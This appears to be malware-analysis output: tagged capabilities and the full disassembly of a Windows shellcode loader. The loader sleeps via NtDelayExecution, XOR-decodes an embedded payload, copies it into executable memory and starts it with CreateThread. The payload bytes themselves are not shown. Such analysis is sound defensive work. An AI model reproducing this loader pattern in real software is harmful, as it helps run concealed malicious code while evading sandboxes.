Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 8], rbx
push rbp
lea rbp, [rsp - 0x150]
sub rsp, 0x250
mov rax, qword [0x140004008]
xor rax, rsp
mov qword [rbp + 0x140], rax
lea rcx, [0x140003238]
mov qword [rsp + 0x38], 0xfffffffffa0a1f00
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtDelayExecution
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rsp + 0x38]
xor ecx, ecx
call rax
movdqa xmm0, xmmword [0x1400033a0]
xor eax, eax
movdqa xmm1, xmmword [0x1400032d0]
movdqa xmm2, xmmword [0x140003330]
movdqu xmmword [rsp + 0x40], xmm0
movdqa xmm0, xmmword [0x140003340]
movdqu xmmword [rsp + 0x60], xmm0
movdqa xmm0, xmmword [0x140003270]
movdqu xmmword [rsp + 0x50], xmm1
movdqa xmm1, xmmword [0x140003250]
movdqu xmmword [rbp - 0x80], xmm0
movdqa xmm0, xmmword [0x1400032c0]
movdqu xmmword [rsp + 0x70], xmm1
movdqa xmm1, xmmword [0x1400033b0]
movdqu xmmword [rbp - 0x60], xmm0
movdqa xmm0, xmmword [0x140003290]
movdqu xmmword [rbp - 0x70], xmm1
movdqa xmm1, xmmword [0x140003280]
movdqu xmmword [rbp - 0x40], xmm0
movdqa xmm0, xmmword [0x140003320]
movdqu xmmword [rbp - 0x50], xmm1
movdqa xmm1, xmmword [str.__J]
movdqu xmmword [rbp - 0x20], xmm0
movdqa xmm0, xmmword [0x1400033c0]
movdqu xmmword [rbp - 0x30], xmm1
movdqa xmm1, xmmword [0x140003410]
movdqu xmmword [rbp], xmm0
movdqa xmm0, xmmword [0x140003390]
movdqu xmmword [rbp - 0x10], xmm1
movdqa xmm1, xmmword [0x140003360]
movdqu xmmword [rbp + 0x20], xmm0
movdqa xmm0, xmmword [0x140003350]
movdqu xmmword [rbp + 0x10], xmm1
movdqa xmm1, xmmword [0x140003440]
movdqu xmmword [rbp + 0x40], xmm0
movdqa xmm0, xmmword [0x1400033f0]
movdqu xmmword [rbp + 0x30], xmm1
movdqa xmm1, xmmword [0x1400032b0]
movdqu xmmword [rbp + 0x60], xmm0
movdqa xmm0, xmmword [0x140003370]
movdqu xmmword [rbp + 0x50], xmm1
movdqa xmm1, xmmword [0x140003380]
movdqu xmmword [rbp + 0x80], xmm0
movdqa xmm0, xmmword [0x140003400]
movdqu xmmword [rbp + 0x70], xmm1
movdqa xmm1, xmmword [0x1400032e0]
movdqu xmmword [rbp + 0xa0], xmm0
movdqa xmm0, xmmword [0x140003310]
movdqu xmmword [rbp + 0x90], xmm1
movdqa xmm1, xmmword [0x140003300]
movdqu xmmword [rbp + 0xc0], xmm0
movdqa xmm0, xmmword [0x140003430]
movdqu xmmword [rbp + 0xb0], xmm1
movdqa xmm1, xmmword [0x1400032f0]
movdqu xmmword [rbp + 0xe0], xmm0
movdqa xmm0, xmmword [0x1400033e0]
movdqu xmmword [rbp + 0xd0], xmm1
movdqa xmm1, xmmword [0x1400032a0]
movdqu xmmword [rbp + 0x100], xmm0
movdqa xmm0, xmmword [0x140003420]
movdqu xmmword [rbp + 0xf0], xmm1
movdqa xmm1, xmmword [0x140003260]
movdqu xmmword [rbp + 0x120], xmm0
movdqu xmmword [rbp + 0x110], xmm1
mov dword [rbp + 0x130], 0xc1c81405
mov dword [rbp + 0x134], 0x7463ad
nop dword [rax + rax]
movdqu xmm0, xmmword [rsp + rax + 0x40]
movdqa xmm1, xmm2
pxor xmm0, xmm2
movdqu xmmword [rsp + rax + 0x40], xmm0
movdqu xmm0, xmmword [rsp + rax + 0x50]
pxor xmm1, xmm0
movdqu xmmword [rsp + rax + 0x50], xmm1
add rax, 0x20
cmp rax, 0x1df
jle 0x140001230
mov eax, 0x1e0
nop word [rax + rax]
xor byte [rsp + rax + 0x40], 0x63
inc rax
cmp rax, 0x1f6
jle 0x140001270
xor ecx, ecx
mov dword [rsp + 0x30], 0x40
mov edx, 0x1f8
mov r8d, 0x3000
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
lea r8, [rsp + 0x40]
mov ecx, 3
mov rbx, rax
mov r9, rax
nop
lea r9, [r9 + 0x80]
movups xmm0, xmmword [r8]
movups xmm1, xmmword [r8 + 0x10]
lea r8, [r8 + 0x80]
movups xmmword [r9 - 0x80], xmm0
movups xmm0, xmmword [r8 - 0x60]
movups xmmword [r9 - 0x70], xmm1
movups xmm1, xmmword [r8 - 0x50]
movups xmmword [r9 - 0x60], xmm0
movups xmm0, xmmword [r8 - 0x40]
movups xmmword [r9 - 0x50], xmm1
movups xmm1, xmmword [r8 - 0x30]
movups xmmword [r9 - 0x40], xmm0
movups xmm0, xmmword [r8 - 0x20]
movups xmmword [r9 - 0x30], xmm1
movups xmm1, xmmword [r8 - 0x10]
movups xmmword [r9 - 0x20], xmm0
movups xmmword [r9 - 0x10], xmm1
sub rcx, 1
jne 0x1400012b0
movups xmm0, xmmword [r8]
mov rax, qword [r8 + 0x70]
xor edx, edx
movups xmm1, xmmword [r8 + 0x10]
mov qword [rsp + 0x28], rcx
movups xmmword [r9], xmm0
mov dword [rsp + 0x20], ecx
movups xmm0, xmmword [r8 + 0x20]
movups xmmword [r9 + 0x10], xmm1
movups xmm1, xmmword [r8 + 0x30]
movups xmmword [r9 + 0x20], xmm0
movups xmm0, xmmword [r8 + 0x40]
movups xmmword [r9 + 0x30], xmm1
movups xmm1, xmmword [r8 + 0x50]
movups xmmword [r9 + 0x40], xmm0
movups xmm0, xmmword [r8 + 0x60]
mov r8, rbx
movups xmmword [r9 + 0x50], xmm1
movups xmmword [r9 + 0x60], xmm0
mov qword [r9 + 0x70], rax
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea rcx, [0x140003238]
mov qword [rsp + 0x38], 0xffffffffff676980
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtDelayExecution
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rsp + 0x38]
xor ecx, ecx
call rax
lea r9, [rsp + 0x30]
mov edx, 0x1f8
mov r8d, 4
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor eax, eax
mov rcx, qword [rbp + 0x140]
xor rcx, rsp
call fcn.1400013f0
mov rbx, qword [rsp + 0x260]
add rsp, 0x250
pop rbp
ret